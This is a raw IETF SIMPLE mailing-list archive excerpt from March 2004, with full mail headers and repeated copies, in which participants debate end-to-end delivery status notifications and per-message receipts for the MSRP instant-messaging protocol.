X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 13:11:14 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable

Hisham,
It is VERY useful because

1. MSRP hop-by-hop positive acknowledge doesn't tell you whether the
message was actually delivered end-to-end.
2. MSRP hop-by-hop application-timer-based mechanism doesn't prevent you
from getting negative acknowledge in a case when the message was
actually delivered to the destination. In other words, it doesn't solve
a duplication problem.

I would like to add the requirement that the "end-to-end" DSN receipt
needs to be requested per message (not negotiated for the whole session
for all messages). It will allow for writing different IM behaviors
using the same mechanism. Such as:

1. Loose IM session: all the user messages are sent without receipt, but
the application sends a heartbeat message with requesting a receipt for
each.
2. Typical IM session: For all user messages a receipt is requested but
the indication messages (e.g. "The user is typing") are delivered
without any receipt.

Thanks,
Orit.

-----Original Message-----
From: simple-admin@ietf.org [mailto:simple-admin@ietf.org] On Behalf Of
hisham.khartabil@nokia.com
Sent: Wednesday, March 31, 2004 9:26 AM
To: vkg@lucent.com
Cc: vikas@arciis.com; simple@ietf.org; rohan@cisco.com;
aki.niemi@nokia.com
Subject: RE: [Simple] return receipt and delivery status notification
for MSRP

This is a good summary, although point 4 can be debatable: How useful is
it to request receive notification in session mode?

/Hisham

> -----Original Message-----
> From: ext Vijay K. Gurbani [mailto:vkg@lucent.com]
> Sent: 04.March.2004 16:53
> To: Khartabil Hisham (Nokia-TP-MSW/Helsinki)
> Cc: vikas@arciis.com; simple@ietf.org; rohan@cisco.com; Niemi Aki
> (Nokia-M/Espoo)
> Subject: Re: [Simple] return receipt and delivery status notification=20
> for MSRP
>=20
>=20
>=20
> hisham.khartabil@nokia.com wrote:
>=20
> > It is optional. If it is annoying to you, then you don't request a=20
> > delivery notification. It is not every time and it is not mandatory.
>=20
> So, just to be pedantic, please correct me if my summary below is=20
> wrong:
>=20
>    1/ We are interested in DSNs at the _user_ level, not the
>       _protocol_ level (i.e. the transactional model at the
>       protocol level is sufficient for protocol state
>       machines to figure out if an IM was delivered to the
>       next hop successfully or not).
>    2/ We should design protocol provisions such that a positive
>       acknowledgement DSN model is supported (let me know
>       the current state of the IM: queued, delivered, read,
>       being responded to, ...).
>    3/ We should design protocol provisions such that a negative
>       acknowledgement DSN model is supported (send it and
>       forget it unless something drastic happens, then
>       let me know).
>    4/ Both 2 and 3 should apply to page mode and session
>       mode IMs.
>    5/ Both 2 and 3 should be configurable by the sending
>       user.
>=20
> Is this accurate?
>=20
> Thanks,
>=20
> - vijay
> --
> Vijay K. Gurbani  vkg@{lucent.com,research.bell-labs.com,acm.org}
> Wireless Networks Group/Internet Software and Services Lucent=20
> Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440
> Naperville, Illinois 60566     Voice: +1 630 224 0216
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 31 16:17:45 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA13589
	for <simple-archive@odin.ietf.org>; Wed, 31 Mar 2004 16:17:45 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8n5J-0006EU-G9
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 16:17:18 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2VLHHM5023959
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 16:17:17 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8n5I-0006EM-LY
	for simple-web-archive@optimus.ietf.org; Wed, 31 Mar 2004 16:17:16 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA13566
	for <simple-web-archive@ietf.org>; Wed, 31 Mar 2004 16:17:13 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8n5G-0002q8-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 16:17:14 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8n4I-0002o2-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 16:16:15 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8n3K-0002mA-00; Wed, 31 Mar 2004 16:15:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8n37-00068v-BS; Wed, 31 Mar 2004 16:15:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8n2P-00062q-2F
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 16:14:17 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA13497
	for <simple@ietf.org>; Wed, 31 Mar 2004 16:14:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8n2N-0002im-00
	for simple@ietf.org; Wed, 31 Mar 2004 16:14:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8n1N-0002gs-00
	for simple@ietf.org; Wed, 31 Mar 2004 16:13:14 -0500
Received: from mail2.microsoft.com ([131.107.3.124])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8n0Q-0002e7-00
	for simple@ietf.org; Wed, 31 Mar 2004 16:12:14 -0500
Received: from INET-VRS-02.redmond.corp.microsoft.com ([157.54.8.110]) by mail2.microsoft.com with Microsoft SMTPSVC(6.0.3790.1041);
	 Wed, 31 Mar 2004 13:11:53 -0800
Received: from 157.54.6.150 by INET-VRS-02.redmond.corp.microsoft.com (InterScan E-Mail VirusWall NT); Wed, 31 Mar 2004 13:11:27 -0800
Received: from RED-MSG-52.redmond.corp.microsoft.com ([157.54.12.12]) by inet-hub-05.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.0);
	 Wed, 31 Mar 2004 13:11:25 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.5.7165.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] return receipt and delivery status notification for MSRP
Message-ID: <DD07841287D0AD428833021705E0D14E01CE12CD@RED-MSG-52.redmond.corp.microsoft.com>
Thread-Topic: [Simple] return receipt and delivery status notification for MSRP
Thread-Index: AcQB+KLNU1dyn18XTVeMUTcKSzyrlQVERZLwABZTOPA=
From: "Orit Levin" <oritl@microsoft.com>
To: <hisham.khartabil@nokia.com>, <vkg@lucent.com>
Cc: <vikas@arciis.com>, <simple@ietf.org>, <rohan@cisco.com>,
        <aki.niemi@nokia.com>
X-OriginalArrivalTime: 31 Mar 2004 21:11:25.0057 (UTC) FILETIME=[B98F6F10:01C41764]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 13:11:14 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hisham,
It is VERY useful because

1. MSRP hop-by-hop positive acknowledge doesn't tell you whether the
message was actually delivered end-to-end.
2. MSRP hop-by-hop application-timer-based mechanism doesn't prevent you
from getting negative acknowledge in a case when the message was
actually delivered to the destination. In other words, it doesn't solve
a duplication problem.

I would like to add the requirement that the "end-to-end" DSN receipt
needs to be requested per message (not negotiated for the whole session
for all messages). It will allow for writing different IM behaviors
using the same mechanism. Such as:

1. Loose IM session: all the user messages are sent without receipt, but
the application sends a heartbeat message with requesting a receipt for
each.
2. Typical IM session: For all user messages a receipt is requested but
the indication messages (e.g. "The user is typing") are delivered
without any receipt.

Thanks,
Orit.

-----Original Message-----
From: simple-admin@ietf.org [mailto:simple-admin@ietf.org] On Behalf Of
hisham.khartabil@nokia.com
Sent: Wednesday, March 31, 2004 9:26 AM
To: vkg@lucent.com
Cc: vikas@arciis.com; simple@ietf.org; rohan@cisco.com;
aki.niemi@nokia.com
Subject: RE: [Simple] return receipt and delivery status notification
for MSRP

This is a good summary, although point 4 can be debatable: How useful is
it to request receive notification in session mode?

/Hisham

> -----Original Message-----
> From: ext Vijay K. Gurbani [mailto:vkg@lucent.com]
> Sent: 04.March.2004 16:53
> To: Khartabil Hisham (Nokia-TP-MSW/Helsinki)
> Cc: vikas@arciis.com; simple@ietf.org; rohan@cisco.com; Niemi Aki
> (Nokia-M/Espoo)
> Subject: Re: [Simple] return receipt and delivery status notification=20
> for MSRP
>=20
>=20
>=20
> hisham.khartabil@nokia.com wrote:
>=20
> > It is optional. If it is annoying to you, then you don't request a=20
> > delivery notification. It is not every time and it is not mandatory.
>=20
> So, just to be pedantic, please correct me if my summary below is=20
> wrong:
>=20
>    1/ We are interested in DSNs at the _user_ level, not the
>       _protocol_ level (i.e. the transactional model at the
>       protocol level is sufficient for protocol state
>       machines to figure out if an IM was delivered to the
>       next hop successfully or not).
>    2/ We should design protocol provisions such that a positive
>       acknowledgement DSN model is supported (let me know
>       the current state of the IM: queued, delivered, read,
>       being responded to, ...).
>    3/ We should design protocol provisions such that a negative
>       acknowledgement DSN model is supported (send it and
>       forget it unless something drastic happens, then
>       let me know).
>    4/ Both 2 and 3 should apply to page mode and session
>       mode IMs.
>    5/ Both 2 and 3 should be configurable by the sending
>       user.
>=20
> Is this accurate?
>=20
> Thanks,
>=20
> - vijay
> --
> Vijay K. Gurbani  vkg@{lucent.com,research.bell-labs.com,acm.org}
> Wireless Networks Group/Internet Software and Services Lucent=20
> Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440
> Naperville, Illinois 60566     Voice: +1 630 224 0216
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 31 17:48:34 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA18278
	for <simple-archive@ietf.org>; Wed, 31 Mar 2004 17:48:34 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8oVf-0000Xy-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 17:48:35 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8oUj-0000WR-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 17:47:38 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8oUJ-0000V6-00; Wed, 31 Mar 2004 17:47:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8oU8-0006PA-HI; Wed, 31 Mar 2004 17:47:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8oTq-0006On-91
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 17:46:42 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA18228
	for <simple@ietf.org>; Wed, 31 Mar 2004 17:46:37 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8oTn-0000UW-00
	for simple@ietf.org; Wed, 31 Mar 2004 17:46:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8oSu-0000Sh-00
	for simple@ietf.org; Wed, 31 Mar 2004 17:45:44 -0500
Received: from [63.110.3.64] (helo=dyn-tx-arch-crash.dfw.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8oSf-0000OG-00
	for simple@ietf.org; Wed, 31 Mar 2004 17:45:29 -0500
Received: from dynamicsoft.com (localhost.localdomain [127.0.0.1])
	by dyn-tx-arch-crash.dfw.dynamicsoft.com (8.11.6/8.11.6) with ESMTP id i2VMihh18860;
	Wed, 31 Mar 2004 16:44:43 -0600
Message-ID: <406B49D4.5040405@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Orit Levin <oritl@microsoft.com>
CC: hisham.khartabil@nokia.com, vkg@lucent.com, vikas@arciis.com,
        simple@ietf.org, rohan@cisco.com, aki.niemi@nokia.com
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <DD07841287D0AD428833021705E0D14E01CE12CD@RED-MSG-52.redmond.corp.microsoft.com>
In-Reply-To: <DD07841287D0AD428833021705E0D14E01CE12CD@RED-MSG-52.redmond.corp.microsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 16:44:36 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

As Orit says, DSN will be very important for MSRP.

The current thinking is that MSRP relays will be session stateless, and 
that transactions are entirely hop-by-hop. The relay semantics would be 
similar to those of the SIMS draft, with MSRP syntax.

As Orit hinted, this means that a transaction response is merely an 
indication that the transaction succeeded, not that the message has 
reached its destination. So in non peer-to-peer sessions, DSN is critical.

We do expect it to be optional, as it is much less useful in the 
peer-to-peer case, where is just constitutes redundant messaging.

Orit Levin wrote:
> Hisham,
> It is VERY useful because
> 
> 1. MSRP hop-by-hop positive acknowledge doesn't tell you whether the
> message was actually delivered end-to-end.
> 2. MSRP hop-by-hop application-timer-based mechanism doesn't prevent you
> from getting negative acknowledge in a case when the message was
> actually delivered to the destination. In other words, it doesn't solve
> a duplication problem.
> 
> I would like to add the requirement that the "end-to-end" DSN receipt
> needs to be requested per message (not negotiated for the whole session
> for all messages). It will allow for writing different IM behaviors
> using the same mechanism. Such as:
> 
> 1. Loose IM session: all the user messages are sent without receipt, but
> the application sends a heartbeat message with requesting a receipt for
> each.
> 2. Typical IM session: For all user messages a receipt is requested but
> the indication messages (e.g. "The user is typing") are delivered
> without any receipt.
> 
> Thanks,
> Orit.
> 
> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org] On Behalf Of
> hisham.khartabil@nokia.com
> Sent: Wednesday, March 31, 2004 9:26 AM
> To: vkg@lucent.com
> Cc: vikas@arciis.com; simple@ietf.org; rohan@cisco.com;
> aki.niemi@nokia.com
> Subject: RE: [Simple] return receipt and delivery status notification
> for MSRP
> 
> This is a good summary, although point 4 can be debatable: How useful is
> it to request receive notification in session mode?
> 
> /Hisham
> 
> 
>>-----Original Message-----
>>From: ext Vijay K. Gurbani [mailto:vkg@lucent.com]
>>Sent: 04.March.2004 16:53
>>To: Khartabil Hisham (Nokia-TP-MSW/Helsinki)
>>Cc: vikas@arciis.com; simple@ietf.org; rohan@cisco.com; Niemi Aki
>>(Nokia-M/Espoo)
>>Subject: Re: [Simple] return receipt and delivery status notification 
>>for MSRP
>>
>>
>>
>>hisham.khartabil@nokia.com wrote:
>>
>>
>>>It is optional. If it is annoying to you, then you don't request a 
>>>delivery notification. It is not every time and it is not mandatory.
>>
>>So, just to be pedantic, please correct me if my summary below is 
>>wrong:
>>
>>   1/ We are interested in DSNs at the _user_ level, not the
>>      _protocol_ level (i.e. the transactional model at the
>>      protocol level is sufficient for protocol state
>>      machines to figure out if an IM was delivered to the
>>      next hop successfully or not).
>>   2/ We should design protocol provisions such that a positive
>>      acknowledgement DSN model is supported (let me know
>>      the current state of the IM: queued, delivered, read,
>>      being responded to, ...).
>>   3/ We should design protocol provisions such that a negative
>>      acknowledgement DSN model is supported (send it and
>>      forget it unless something drastic happens, then
>>      let me know).
>>   4/ Both 2 and 3 should apply to page mode and session
>>      mode IMs.
>>   5/ Both 2 and 3 should be configurable by the sending
>>      user.
>>
>>Is this accurate?
>>
>>Thanks,
>>
>>- vijay
>>--
>>Vijay K. Gurbani  vkg@{lucent.com,research.bell-labs.com,acm.org}
>>Wireless Networks Group/Internet Software and Services Lucent 
>>Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440
>>Naperville, Illinois 60566     Voice: +1 630 224 0216
>>
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar 31 17:49:09 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA18310
	for <simple-archive@odin.ietf.org>; Wed, 31 Mar 2004 17:49:09 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8oVk-0006XR-8j
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 17:48:43 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2VMmeql025132
	for simple-archive@odin.ietf.org; Wed, 31 Mar 2004 17:48:40 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8oVj-0006XH-B2
	for simple-web-archive@optimus.ietf.org; Wed, 31 Mar 2004 17:48:39 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA18298
	for <simple-web-archive@ietf.org>; Wed, 31 Mar 2004 17:48:35 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8oVg-0000Y4-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 17:48:36 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8oUk-0000WZ-00
	for simple-web-archive@ietf.org; Wed, 31 Mar 2004 17:47:38 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8oUJ-0000V6-00; Wed, 31 Mar 2004 17:47:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8oU8-0006PA-HI; Wed, 31 Mar 2004 17:47:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8oTq-0006On-91
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 17:46:42 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA18228
	for <simple@ietf.org>; Wed, 31 Mar 2004 17:46:37 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8oTn-0000UW-00
	for simple@ietf.org; Wed, 31 Mar 2004 17:46:39 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8oSu-0000Sh-00
	for simple@ietf.org; Wed, 31 Mar 2004 17:45:44 -0500
Received: from [63.110.3.64] (helo=dyn-tx-arch-crash.dfw.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8oSf-0000OG-00
	for simple@ietf.org; Wed, 31 Mar 2004 17:45:29 -0500
Received: from dynamicsoft.com (localhost.localdomain [127.0.0.1])
	by dyn-tx-arch-crash.dfw.dynamicsoft.com (8.11.6/8.11.6) with ESMTP id i2VMihh18860;
	Wed, 31 Mar 2004 16:44:43 -0600
Message-ID: <406B49D4.5040405@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Orit Levin <oritl@microsoft.com>
CC: hisham.khartabil@nokia.com, vkg@lucent.com, vikas@arciis.com,
        simple@ietf.org, rohan@cisco.com, aki.niemi@nokia.com
Subject: Re: [Simple] return receipt and delivery status notification for
 MSRP
References: <DD07841287D0AD428833021705E0D14E01CE12CD@RED-MSG-52.redmond.corp.microsoft.com>
In-Reply-To: <DD07841287D0AD428833021705E0D14E01CE12CD@RED-MSG-52.redmond.corp.microsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 31 Mar 2004 16:44:36 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

As Orit says, DSN will be very important for MSRP.

The current thinking is that MSRP relays will be session stateless, and 
that transactions are entirely hop-by-hop. The relay semantics would be 
similar to those of the SIMS draft, with MSRP syntax.

As Orit hinted, this means that a transaction response is merely an 
indication that the transaction succeeded, not that the message has 
reached its destination. So in non peer-to-peer sessions, DSN is critical.

We do expect it to be optional, as it is much less useful in the 
peer-to-peer case, where is just constitutes redundant messaging.

Orit Levin wrote:
> Hisham,
> It is VERY useful because
> 
> 1. MSRP hop-by-hop positive acknowledge doesn't tell you whether the
> message was actually delivered end-to-end.
> 2. MSRP hop-by-hop application-timer-based mechanism doesn't prevent you
> from getting negative acknowledge in a case when the message was
> actually delivered to the destination. In other words, it doesn't solve
> a duplication problem.
> 
> I would like to add the requirement that the "end-to-end" DSN receipt
> needs to be requested per message (not negotiated for the whole session
> for all messages). It will allow for writing different IM behaviors
> using the same mechanism. Such as:
> 
> 1. Loose IM session: all the user messages are sent without receipt, but
> the application sends a heartbeat message with requesting a receipt for
> each.
> 2. Typical IM session: For all user messages a receipt is requested but
> the indication messages (e.g. "The user is typing") are delivered
> without any receipt.
> 
> Thanks,
> Orit.
> 
> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org] On Behalf Of
> hisham.khartabil@nokia.com
> Sent: Wednesday, March 31, 2004 9:26 AM
> To: vkg@lucent.com
> Cc: vikas@arciis.com; simple@ietf.org; rohan@cisco.com;
> aki.niemi@nokia.com
> Subject: RE: [Simple] return receipt and delivery status notification
> for MSRP
> 
> This is a good summary, although point 4 can be debatable: How useful is
> it to request receive notification in session mode?
> 
> /Hisham
> 
> 
>>-----Original Message-----
>>From: ext Vijay K. Gurbani [mailto:vkg@lucent.com]
>>Sent: 04.March.2004 16:53
>>To: Khartabil Hisham (Nokia-TP-MSW/Helsinki)
>>Cc: vikas@arciis.com; simple@ietf.org; rohan@cisco.com; Niemi Aki
>>(Nokia-M/Espoo)
>>Subject: Re: [Simple] return receipt and delivery status notification 
>>for MSRP
>>
>>
>>
>>hisham.khartabil@nokia.com wrote:
>>
>>
>>>It is optional. If it is annoying to you, then you don't request a 
>>>delivery notification. It is not every time and it is not mandatory.
>>
>>So, just to be pedantic, please correct me if my summary below is 
>>wrong:
>>
>>   1/ We are interested in DSNs at the _user_ level, not the
>>      _protocol_ level (i.e. the transactional model at the
>>      protocol level is sufficient for protocol state
>>      machines to figure out if an IM was delivered to the
>>      next hop successfully or not).
>>   2/ We should design protocol provisions such that a positive
>>      acknowledgement DSN model is supported (let me know
>>      the current state of the IM: queued, delivered, read,
>>      being responded to, ...).
>>   3/ We should design protocol provisions such that a negative
>>      acknowledgement DSN model is supported (send it and
>>      forget it unless something drastic happens, then
>>      let me know).
>>   4/ Both 2 and 3 should apply to page mode and session
>>      mode IMs.
>>   5/ Both 2 and 3 should be configurable by the sending
>>      user.
>>
>>Is this accurate?
>>
>>Thanks,
>>
>>- vijay
>>--
>>Vijay K. Gurbani  vkg@{lucent.com,research.bell-labs.com,acm.org}
>>Wireless Networks Group/Internet Software and Services Lucent 
>>Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm 6G-440
>>Naperville, Illinois 60566     Voice: +1 630 224 0216
>>
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar 31 18:30:40 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA20902
	for <simple-archive@ietf.org>; Wed, 31 Mar 2004 18:30:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8pAQ-0002lz-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 18:30:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8p9X-0002iA-00
	for simple-archive@ietf.org; Wed, 31 Mar 2004 18:29:48 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8p8y-0002fv-00; Wed, 31 Mar 2004 18:29:12 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8p8n-0007Da-9f; Wed, 31 Mar 2004 18:29:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8p8S-0007D5-Ik
	for simple@optimus.ietf.org; Wed, 31 Mar 2004 18:28:40 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA20805
	for <simple@ietf.org>; Wed, 31 Mar 2004 18:28:35 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B8p8P-0002f8-00
	for simple@ietf.org; Wed, 31 Mar 2004 18:28:37 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B8p7S-0002df-00
	for simple@ietf.org; Wed, 31 Mar 2004 18:27:39 -0500
